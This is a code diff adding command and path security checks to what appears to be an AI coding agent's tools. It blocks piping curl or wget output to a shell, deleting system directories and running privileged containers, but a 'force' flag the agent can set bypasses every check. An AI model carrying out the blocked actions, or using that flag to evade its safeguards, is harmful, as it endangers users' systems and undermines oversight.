|
108
|
+
],
|
|
109
|
+
|
|
110
|
+
// Environment
|
|
111
|
+
environment: [
|
|
112
|
+
'env', 'export', 'set', 'unset',
|
|
113
|
+
'which', 'whereis', 'type',
|
|
114
|
+
'pwd', 'whoami', 'id',
|
|
115
|
+
'date', 'time', 'cal',
|
|
116
|
+
'uname', 'hostname',
|
|
117
|
+
],
|
|
118
|
+
};
|
|
119
|
+
|
|
120
|
+
// ─────────────────────────────────────────────
|
|
121
|
+
// Security Validation Functions
|
|
122
|
+
// ─────────────────────────────────────────────
|
|
123
|
+
|
|
124
|
+
/**
|
|
125
|
+
* Check if a command is dangerous
|
|
126
|
+
* @param {string} command - The command to check
|
|
127
|
+
* @returns {Object} { safe: boolean, reason: string, severity: string }
|
|
128
|
+
*/
|
|
129
|
+
function validateCommand(command) {
|
|
130
|
+
if (!command || typeof command !== 'string') {
|
|
131
|
+
return { safe: false, reason: 'Invalid command format', severity: 'error' };
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
const normalizedCmd = command.trim().toLowerCase();
|
|
135
|
+
|
|
136
|
+
// Check against dangerous commands list
|
|
137
|
+
for (const dangerous of DANGEROUS_COMMANDS) {
|
|
138
|
+
if (normalizedCmd.includes(dangerous.toLowerCase())) {
|
|
139
|
+
return {
|
|
140
|
+
safe: false,
|
|
141
|
+
reason: `Blocked dangerous command pattern: "${dangerous}"`,
|
|
142
|
+
severity: 'critical',
|
|
143
|
+
};
|
|
144
|
+
}
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
// Check against dangerous patterns
|
|
148
|
+
for (const pattern of DANGEROUS_PATTERNS) {
|
|
149
|
+
if (pattern.test(command)) {
|
|
150
|
+
return {
|
|
151
|
+
safe: false,
|
|
152
|
+
reason: `Blocked dangerous command pattern: ${pattern.toString()}`,
|
|
153
|
+
severity: 'critical',
|
|
154
|
+
};
|
|
155
|
+
}
|
|
156
|
+
}
|
|
157
|
+
|
|
158
|
+
// Extract the base command (first word)
|
|
159
|
+
const baseCmd = normalizedCmd.split(/\s+/)[0];
|
|
160
|
+
|
|
161
|
+
// Check if base command is in whitelist
|
|
162
|
+
const allAllowed = Object.values(ALLOWED_COMMANDS).flat();
|
|
163
|
+
if (!allAllowed.includes(baseCmd)) {
|
|
164
|
+
return {
|
|
165
|
+
safe: false,
|
|
166
|
+
reason: `Command "${baseCmd}" not in allowed list`,
|
|
167
|
+
severity: 'warning',
|
|
168
|
+
};
|
|
169
|
+
}
|
|
170
|
+
|
|
171
|
+
// Additional checks for specific commands
|
|
172
|
+
const additionalCheck = checkCommandSpecificRestrictions(command);
|
|
173
|
+
if (!additionalCheck.safe) {
|
|
174
|
+
return additionalCheck;
|
|
175
|
+
}
|
|
176
|
+
|
|
177
|
+
return { safe: true, reason: 'Command validated', severity: 'ok' };
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
/**
|
|
181
|
+
* Check specific restrictions for certain commands
|
|
182
|
+
*/
|
|
183
|
+
function checkCommandSpecificRestrictions(command) {
|
|
184
|
+
const normalizedCmd = command.trim().toLowerCase();
|
|
185
|
+
|
|
186
|
+
// rm command - must not delete system directories
|
|
187
|
+
if (normalizedCmd.startsWith('rm')) {
|
|
188
|
+
const restrictedPaths = ['/etc', '/usr', '/bin', '/sbin', '/lib', '/var', '/root', '/home'];
|
|
189
|
+
for (const restricted of restrictedPaths) {
|
|
190
|
+
if (normalizedCmd.includes(restricted)) {
|
|
191
|
+
return {
|
|
192
|
+
safe: false,
|
|
193
|
+
reason: `Cannot delete system directory: ${restricted}`,
|
|
194
|
+
severity: 'critical',
|
|
195
|
+
};
|
|
196
|
+
}
|
|
197
|
+
}
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
// chmod - must not modify system files
|
|
201
|
+
if (normalizedCmd.startsWith('chmod')) {
|
|
202
|
+
if (normalizedCmd.includes('/etc/') || normalizedCmd.includes('/usr/')) {
|
|
203
|
+
return {
|
|
204
|
+
safe: false,
|
|
205
|
+
reason: 'Cannot modify permissions of system files',
|
|
206
|
+
severity: 'critical',
|
|
207
|
+
};
|
|
208
|
+
}
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
// curl/wget - must not pipe to shell
|
|
212
|
+
if (normalizedCmd.startsWith('curl') || normalizedCmd.startsWith('wget')) {
|
|
213
|
+
if (normalizedCmd.includes('| bash') || normalizedCmd.includes('| sh')) {
|
|
214
|
+
return {
|
|
215
|
+
safe: false,
|
|
216
|
+
reason: 'Cannot pipe network content to shell',
|
|
217
|
+
severity: 'critical',
|
|
218
|
+
};
|
|
219
|
+
}
|
|
220
|
+
}
|
|
221
|
+
|
|
222
|
+
// kill - must not kill system processes
|
|
223
|
+
if (normalizedCmd.startsWith('kill') || normalizedCmd.startsWith('pkill')) {
|
|
224
|
+
if (normalizedCmd.includes('-9') && !normalizedCmd.includes('node')) {
|
|
225
|
+
// Allow killing node processes, but warn for others
|
|
226
|
+
return {
|
|
227
|
+
safe: false,
|
|
228
|
+
reason: 'SIGKILL restricted to node processes only',
|
|
229
|
+
severity: 'warning',
|
|
230
|
+
};
|
|
231
|
+
}
|
|
232
|
+
}
|
|
233
|
+
|
|
234
|
+
// Docker - must not run privileged containers
|
|
235
|
+
if (normalizedCmd.startsWith('docker')) {
|
|
236
|
+
if (normalizedCmd.includes('--privileged')) {
|
|
237
|
+
return {
|
|
238
|
+
safe: false,
|
|
239
|
+
reason: 'Cannot run privileged Docker containers',
|
|
240
|
+
severity: 'critical',
|
|
241
|
+
};
|
|
242
|
+
}
|
|
243
|
+
}
|
|
244
|
+
|
|
245
|
+
return { safe: true };
|
|
246
|
+
}
|
|
247
|
+
|
|
248
|
+
/**
|
|
249
|
+
* Sanitize command by removing/escaping dangerous parts
|
|
250
|
+
* @param {string} command
|
|
251
|
+
* @returns {string} Sanitized command
|
|
252
|
+
*/
|
|
253
|
+
function sanitizeCommand(command) {
|
|
254
|
+
// Remove potentially dangerous shell expansions
|
|
255
|
+
let sanitized = command
|
|
256
|
+
.replace(/\$\([^)]*\)/g, '') // Remove $() subshells
|
|
257
|
+
.replace(/`[^`]*`/g, '') // Remove backtick subshells
|
|
258
|
+
.replace(/\$\{[^}]*\}/g, ''); // Remove ${} expansions
|
|
259
|
+
|
|
260
|
+
// Escape semicolons to prevent command chaining
|
|
261
|
+
sanitized = sanitized.replace(/;/g, '\\;');
|
|
262
|
+
|
|
263
|
+
// Escape pipes (optional, depends on your needs)
|
|
264
|
+
// sanitized = sanitized.replace(/\|/g, '\\|');
|
|
265
|
+
|
|
266
|
+
return sanitized;
|
|
267
|
+
}
|
|
268
|
+
|
|
269
|
+
/**
|
|
270
|
+
* Get security statistics
|
|
271
|
+
*/
|
|
272
|
+
function getSecurityStats() {
|
|
273
|
+
return {
|
|
274
|
+
dangerousCommandsCount: DANGEROUS_COMMANDS.length,
|
|
275
|
+
dangerousPatternsCount: DANGEROUS_PATTERNS.length,
|
|
276
|
+
allowedCommandsCount: Object.values(ALLOWED_COMMANDS).flat().length,
|
|
277
|
+
categories: Object.keys(ALLOWED_COMMANDS),
|
|
278
|
+
};
|
|
279
|
+
}
|
|
280
|
+
|
|
281
|
+
// ─────────────────────────────────────────────
|
|
282
|
+
// Exports
|
|
283
|
+
// ─────────────────────────────────────────────
|
|
284
|
+
|
|
285
|
+
module.exports = {
|
|
286
|
+
validateCommand,
|
|
287
|
+
sanitizeCommand,
|
|
288
|
+
checkCommandSpecificRestrictions,
|
|
289
|
+
getSecurityStats,
|
|
290
|
+
DANGEROUS_COMMANDS,
|
|
291
|
+
DANGEROUS_PATTERNS,
|
|
292
|
+
ALLOWED_COMMANDS,
|
|
293
|
+
};
|
package/src/tools.js
CHANGED
|
@@ -7,6 +7,7 @@ const { execSync } = require('child_process');
|
|
|
7
7
|
const http = require('http');
|
|
8
8
|
const https = require('https');
|
|
9
9
|
const config = require('./config');
|
|
10
|
+
const security = require('./security');
|
|
10
11
|
|
|
11
12
|
// ─────────────────────────────────────────────
|
|
12
13
|
// Helpers
|
|
@@ -25,10 +26,138 @@ function truncate(str, max = config.MAX_OUTPUT_LENGTH) {
|
|
|
25
26
|
);
|
|
26
27
|
}
|
|
27
28
|
|
|
28
|
-
/** Resolve a path relative to the working directory */
|
|
29
|
+
/** Resolve a path relative to the working directory with security validation */
|
|
29
30
|
function resolve(filePath) {
|
|
30
|
-
if (
|
|
31
|
-
|
|
31
|
+
if (!filePath || typeof filePath !== 'string') {
|
|
32
|
+
throw new Error('Invalid file path: path must be a non-empty string');
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
// Resolve the path
|
|
36
|
+
const resolved = path.isAbsolute(filePath)
|
|
37
|
+
? filePath
|
|
38
|
+
: path.resolve(config.WORKING_DIR, filePath);
|
|
39
|
+
|
|
40
|
+
// Normalize to resolve .., ., and symlinks
|
|
41
|
+
const normalized = path.normalize(resolved);
|
|
42
|
+
|
|
43
|
+
// ── Security Check: Path Traversal Protection ──────────────────────
|
|
44
|
+
if (config.PATH_TRAVERSAL_PROTECTION) {
|
|
45
|
+
const workDirNormalized = path.normalize(config.WORKING_DIR);
|
|
46
|
+
|
|
47
|
+
// Check if path is within WORKING_DIR
|
|
48
|
+
if (!normalized.startsWith(workDirNormalized)) {
|
|
49
|
+
throw new Error(
|
|
50
|
+
`Path traversal blocked: "${filePath}" resolves to "${normalized}"\n` +
|
|
51
|
+
`Access denied: Path must be within working directory "${config.WORKING_DIR}"\n` +
|
|
52
|
+
`To access files outside working directory, disable PATH_TRAVERSAL_PROTECTION in config (dangerous)`
|
|
53
|
+
);
|
|
54
|
+
}
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
// ── Security Check: System File Access Protection ───────────────────
|
|
58
|
+
if (!config.ALLOW_SYSTEM_FILE_ACCESS) {
|
|
59
|
+
const systemPaths = [
|
|
60
|
+
'/etc', '/usr', '/bin', '/sbin', '/lib', '/var', '/root',
|
|
61
|
+
'/home', '/System', '/Applications', '/Windows', '/Program Files'
|
|
62
|
+
];
|
|
63
|
+
|
|
64
|
+
for (const sysPath of systemPaths) {
|
|
65
|
+
if (normalized.startsWith(sysPath)) {
|
|
66
|
+
throw new Error(
|
|
67
|
+
`System file access blocked: "${normalized}"\n` +
|
|
68
|
+
`Reason: Path appears to be a system directory (${sysPath})\n` +
|
|
69
|
+
`To access system files, enable ALLOW_SYSTEM_FILE_ACCESS in config (dangerous)`
|
|
70
|
+
);
|
|
71
|
+
}
|
|
72
|
+
}
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
return normalized;
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
/** Backup file before overwriting */
|
|
79
|
+
function backupFile(filePath) {
|
|
80
|
+
if (!config.FILE_BACKUP_ENABLED || !config.FILE_OVERWRITE_PROTECTION) {
|
|
81
|
+
return null;
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
if (!fs.existsSync(filePath)) {
|
|
85
|
+
return null; // File doesn't exist, no need to backup
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
|
|
89
|
+
const backupDir = path.join(config.SESSION_DIR, 'backups');
|
|
90
|
+
const backupPath = path.join(backupDir, `${path.basename(filePath)}.${timestamp}.bak`);
|
|
91
|
+
|
|
92
|
+
try {
|
|
93
|
+
// Create backup directory
|
|
94
|
+
fs.mkdirSync(backupDir, { recursive: true });
|
|
95
|
+
|
|
96
|
+
// Copy file to backup
|
|
97
|
+
fs.copyFileSync(filePath, backupPath);
|
|
98
|
+
|
|
99
|
+
return backupPath;
|
|
100
|
+
} catch (err) {
|
|
101
|
+
console.warn(`[SECURITY] Failed to backup file: ${err.message}`);
|
|
102
|
+
return null;
|
|
103
|
+
}
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
/** Check if file exists and apply overwrite protection */
|
|
107
|
+
function checkOverwriteProtection(filePath) {
|
|
108
|
+
if (!config.FILE_OVERWRITE_PROTECTION) {
|
|
109
|
+
return true; // Protection disabled, allow overwrite
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
if (!fs.existsSync(filePath)) {
|
|
113
|
+
return true; // File doesn't exist, safe to create
|
|
114
|
+
}
|
|
115
|
+
|
|
116
|
+
// File exists - need to handle carefully
|
|
117
|
+
const stats = fs.statSync(filePath);
|
|
118
|
+
|
|
119
|
+
// Warn about overwriting important files
|
|
120
|
+
if (stats.size > 10000) { // Files > 10KB
|
|
121
|
+
console.warn(
|
|
122
|
+
`[SECURITY] Warning: Overwriting large file (${formatBytes(stats.size)})\n` +
|
|
123
|
+
` File: ${filePath}\n` +
|
|
124
|
+
` Backup will be created if FILE_BACKUP_ENABLED is true`
|
|
125
|
+
);
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
// Create backup if enabled
|
|
129
|
+
const backupPath = backupFile(filePath);
|
|
130
|
+
if (backupPath) {
|
|
131
|
+
console.log(`[SECURITY] File backed up to: ${backupPath}`);
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
return true;
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
/** Validate file path security */
|
|
138
|
+
function validateFilePath(filePath, operation = 'read') {
|
|
139
|
+
const resolved = resolve(filePath);
|
|
140
|
+
|
|
141
|
+
// Log file access
|
|
142
|
+
if (config.COMMAND_LOG_ENABLED) {
|
|
143
|
+
const logEntry = {
|
|
144
|
+
timestamp: new Date().toISOString(),
|
|
145
|
+
operation,
|
|
146
|
+
filePath: resolved,
|
|
147
|
+
workDir: config.WORKING_DIR,
|
|
148
|
+
status: 'ALLOWED',
|
|
149
|
+
reason: 'Path validated'
|
|
150
|
+
};
|
|
151
|
+
|
|
152
|
+
const logFile = path.join(require('os').homedir(), '.yiyan-agent', 'logs', 'file-security.log');
|
|
153
|
+
try {
|
|
154
|
+
fs.appendFileSync(logFile, JSON.stringify(logEntry) + '\n', 'utf8');
|
|
155
|
+
} catch {
|
|
156
|
+
// Silent fail for logging
|
|
157
|
+
}
|
|
158
|
+
}
|
|
159
|
+
|
|
160
|
+
return resolved;
|
|
32
161
|
}
|
|
33
162
|
|
|
34
163
|
function formatBytes(bytes) {
|
|
@@ -39,6 +168,30 @@ function formatBytes(bytes) {
|
|
|
39
168
|
return `${(bytes / Math.pow(k, i)).toFixed(1)} ${sizes[i]}`;
|
|
40
169
|
}
|
|
41
170
|
|
|
171
|
+
/** Log command execution for security audit */
|
|
172
|
+
function logCommandExecution(command, workDir, status, reason) {
|
|
173
|
+
const timestamp = new Date().toISOString();
|
|
174
|
+
const logEntry = {
|
|
175
|
+
timestamp,
|
|
176
|
+
command,
|
|
177
|
+
workDir,
|
|
178
|
+
status,
|
|
179
|
+
reason,
|
|
180
|
+
};
|
|
181
|
+
|
|
182
|
+
// Log to console
|
|
183
|
+
console.log(`[SECURITY] ${timestamp} | ${status} | ${command.substring(0, 50)}... | ${reason}`);
|
|
184
|
+
|
|
185
|
+
// Optionally write to file (persistent log)
|
|
186
|
+
const logFile = path.join(require('os').homedir(), '.yiyan-agent', 'logs', 'command-security.log');
|
|
187
|
+
try {
|
|
188
|
+
const fs = require('fs');
|
|
189
|
+
fs.appendFileSync(logFile, JSON.stringify(logEntry) + '\n', 'utf8');
|
|
190
|
+
} catch {
|
|
191
|
+
// Silent fail for logging
|
|
192
|
+
}
|
|
193
|
+
}
|
|
194
|
+
|
|
42
195
|
// ─────────────────────────────────────────────
|
|
43
196
|
// Tool definitions
|
|
44
197
|
// ─────────────────────────────────────────────
|
|
@@ -47,14 +200,14 @@ const TOOLS = {
|
|
|
47
200
|
|
|
48
201
|
// ── File Reading ────────────────────────────────────────────────────────────
|
|
49
202
|
read_file: {
|
|
50
|
-
description: 'Read the full contents of a file. Optionally read specific line ranges.',
|
|
203
|
+
description: 'Read the full contents of a file. Optionally read specific line ranges. Path traversal protection enabled.',
|
|
51
204
|
parameters: {
|
|
52
205
|
path : { type: 'string', required: true, description: 'Path to the file' },
|
|
53
206
|
start_line : { type: 'number', required: false, description: 'First line to read (1-indexed)' },
|
|
54
207
|
end_line : { type: 'number', required: false, description: 'Last line to read (inclusive)' },
|
|
55
208
|
},
|
|
56
209
|
async execute({ path: filePath, start_line, end_line }) {
|
|
57
|
-
const abs =
|
|
210
|
+
const abs = validateFilePath(filePath, 'read');
|
|
58
211
|
if (!fs.existsSync(abs)) throw new Error(`File not found: ${filePath}`);
|
|
59
212
|
if (fs.statSync(abs).isDirectory()) throw new Error(`${filePath} is a directory`);
|
|
60
213
|
|
|
@@ -80,13 +233,23 @@ const TOOLS = {
|
|
|
80
233
|
|
|
81
234
|
// ── File Writing ────────────────────────────────────────────────────────────
|
|
82
235
|
write_file: {
|
|
83
|
-
description: 'Write (create or overwrite) a file with given content. Creates parent directories automatically.',
|
|
236
|
+
description: 'Write (create or overwrite) a file with given content. Creates parent directories automatically. Path traversal and overwrite protection enabled.',
|
|
84
237
|
parameters: {
|
|
85
238
|
path : { type: 'string', required: true, description: 'Destination file path' },
|
|
86
239
|
content : { type: 'string', required: true, description: 'Full file content to write' },
|
|
240
|
+
force : { type: 'boolean', required: false, description: 'Bypass overwrite protection (dangerous)' },
|
|
87
241
|
},
|
|
88
|
-
async execute({ path: filePath, content }) {
|
|
89
|
-
|
|
242
|
+
async execute({ path: filePath, content, force = false }) {
|
|
243
|
+
// ── Security: Path Validation ─────────────────────────────────────────────
|
|
244
|
+
const abs = validateFilePath(filePath, 'write');
|
|
245
|
+
|
|
246
|
+
// ── Security: Overwrite Protection ───────────────────────────────────────
|
|
247
|
+
if (!force) {
|
|
248
|
+
checkOverwriteProtection(abs);
|
|
249
|
+
} else {
|
|
250
|
+
console.warn(`[SECURITY] Overwrite protection bypassed with force=true for: ${abs}`);
|
|
251
|
+
}
|
|
252
|
+
|
|
90
253
|
fs.mkdirSync(path.dirname(abs), { recursive: true });
|
|
91
254
|
fs.writeFileSync(abs, content, 'utf8');
|
|
92
255
|
const lineCount = content.split('\n').length;
|
|
@@ -302,18 +465,52 @@ const TOOLS = {
|
|
|
302
465
|
},
|
|
303
466
|
},
|
|
304
467
|
|
|
305
|
-
// ── Run Command
|
|
468
|
+
// ── Run Command (with Security Validation) ────────────────────────────────────
|
|
306
469
|
run_command: {
|
|
307
|
-
description: 'Execute a shell command and return its output. Runs in the working directory by default.',
|
|
470
|
+
description: 'Execute a shell command and return its output. Runs in the working directory by default. Commands are validated for security.',
|
|
308
471
|
parameters: {
|
|
309
472
|
command : { type: 'string', required: true, description: 'Shell command to run' },
|
|
310
473
|
cwd : { type: 'string', required: false, description: 'Working directory for the command' },
|
|
311
474
|
timeout : { type: 'number', required: false, description: 'Timeout in milliseconds (default: 60000)' },
|
|
312
475
|
env : { type: 'object', required: false, description: 'Extra environment variables as key-value pairs' },
|
|
476
|
+
force : { type: 'boolean', required: false, description: 'Bypass security validation (dangerous, use with caution)' },
|
|
313
477
|
},
|
|
314
|
-
async execute({ command, cwd, timeout = 60_000, env = {} }) {
|
|
478
|
+
async execute({ command, cwd, timeout = 60_000, env = {}, force = false }) {
|
|
315
479
|
const workDir = cwd ? resolve(cwd) : config.WORKING_DIR;
|
|
316
480
|
|
|
481
|
+
// ── Security Validation ─────────────────────────────────────────────────────
|
|
482
|
+
if (config.COMMAND_SECURITY_ENABLED && !force) {
|
|
483
|
+
const validation = security.validateCommand(command);
|
|
484
|
+
|
|
485
|
+
if (!validation.safe) {
|
|
486
|
+
const errorMsg = `Command blocked by security validation:\n` +
|
|
487
|
+
`Command: "${command}"\n` +
|
|
488
|
+
`Reason: ${validation.reason}\n` +
|
|
489
|
+
`Severity: ${validation.severity}\n\n` +
|
|
490
|
+
`If you need to execute this command, add force: true parameter (use with extreme caution).`;
|
|
491
|
+
|
|
492
|
+
// Log blocked command
|
|
493
|
+
if (config.COMMAND_LOG_ENABLED) {
|
|
494
|
+
logCommandExecution(command, workDir, 'BLOCKED', validation.reason);
|
|
495
|
+
}
|
|
496
|
+
|
|
497
|
+
throw new Error(errorMsg);
|
|
498
|
+
}
|
|
499
|
+
|
|
500
|
+
// Sanitize command (optional, based on mode)
|
|
501
|
+
let safeCommand = command;
|
|
502
|
+
if (config.COMMAND_MODE === 'strict') {
|
|
503
|
+
safeCommand = security.sanitizeCommand(command);
|
|
504
|
+
}
|
|
505
|
+
|
|
506
|
+
// Log approved command
|
|
507
|
+
if (config.COMMAND_LOG_ENABLED) {
|
|
508
|
+
logCommandExecution(safeCommand, workDir, 'APPROVED', validation.reason);
|
|
509
|
+
}
|
|
510
|
+
|
|
511
|
+
command = safeCommand;
|
|
512
|
+
}
|
|
513
|
+
// ── Execute Command ────────────────────────────────────────────────────────
|
|
317
514
|
try {
|
|
318
515
|
const output = execSync(command, {
|
|
319
516
|
cwd : workDir,
|
|
@@ -496,24 +693,49 @@ const TOOLS = {
|
|
|
496
693
|
|
|
497
694
|
// ── Write Multiple Files (batch) ────────────────────────────────────────────
|
|
498
695
|
write_files: {
|
|
499
|
-
description: 'Write multiple files at once — useful for scaffolding projects.',
|
|
696
|
+
description: 'Write multiple files at once — useful for scaffolding projects. Path traversal and overwrite protection enabled for each file.',
|
|
500
697
|
parameters: {
|
|
501
698
|
files: {
|
|
502
699
|
type : 'array',
|
|
503
700
|
required : true,
|
|
504
701
|
description: 'Array of {path, content} objects',
|
|
505
702
|
},
|
|
703
|
+
force: {
|
|
704
|
+
type : 'boolean',
|
|
705
|
+
required : false,
|
|
706
|
+
description: 'Bypass overwrite protection for all files (dangerous)',
|
|
707
|
+
},
|
|
506
708
|
},
|
|
507
|
-
async execute({ files }) {
|
|
709
|
+
async execute({ files, force = false }) {
|
|
508
710
|
if (!Array.isArray(files)) throw new Error('"files" must be an array of {path, content}');
|
|
509
711
|
const results = [];
|
|
712
|
+
const warnings = [];
|
|
713
|
+
|
|
510
714
|
for (const { path: filePath, content } of files) {
|
|
511
|
-
|
|
512
|
-
|
|
513
|
-
|
|
514
|
-
|
|
715
|
+
try {
|
|
716
|
+
// ── Security: Path Validation ─────────────────────────────────────────────
|
|
717
|
+
const abs = validateFilePath(filePath, 'write');
|
|
718
|
+
|
|
719
|
+
// ── Security: Overwrite Protection ───────────────────────────────────────
|
|
720
|
+
if (!force) {
|
|
721
|
+
checkOverwriteProtection(abs);
|
|
722
|
+
}
|
|
723
|
+
|
|
724
|
+
fs.mkdirSync(path.dirname(abs), { recursive: true });
|
|
725
|
+
fs.writeFileSync(abs, content, 'utf8');
|
|
726
|
+
results.push(`✓ ${filePath}`);
|
|
727
|
+
} catch (err) {
|
|
728
|
+
warnings.push(`✗ ${filePath}: ${err.message}`);
|
|
729
|
+
}
|
|
515
730
|
}
|
|
516
|
-
|
|
731
|
+
|
|
732
|
+
// Return results with any warnings
|
|
733
|
+
const output = [
|
|
734
|
+
`Wrote ${results.length} files:\n${results.join('\n')}`,
|
|
735
|
+
warnings.length > 0 && `\n\n⚠️ Security warnings:\n${warnings.join('\n')}`
|
|
736
|
+
].filter(Boolean).join('');
|
|
737
|
+
|
|
738
|
+
return output;
|
|
517
739
|
},
|
|
518
740
|
},
|
|
519
741
|
|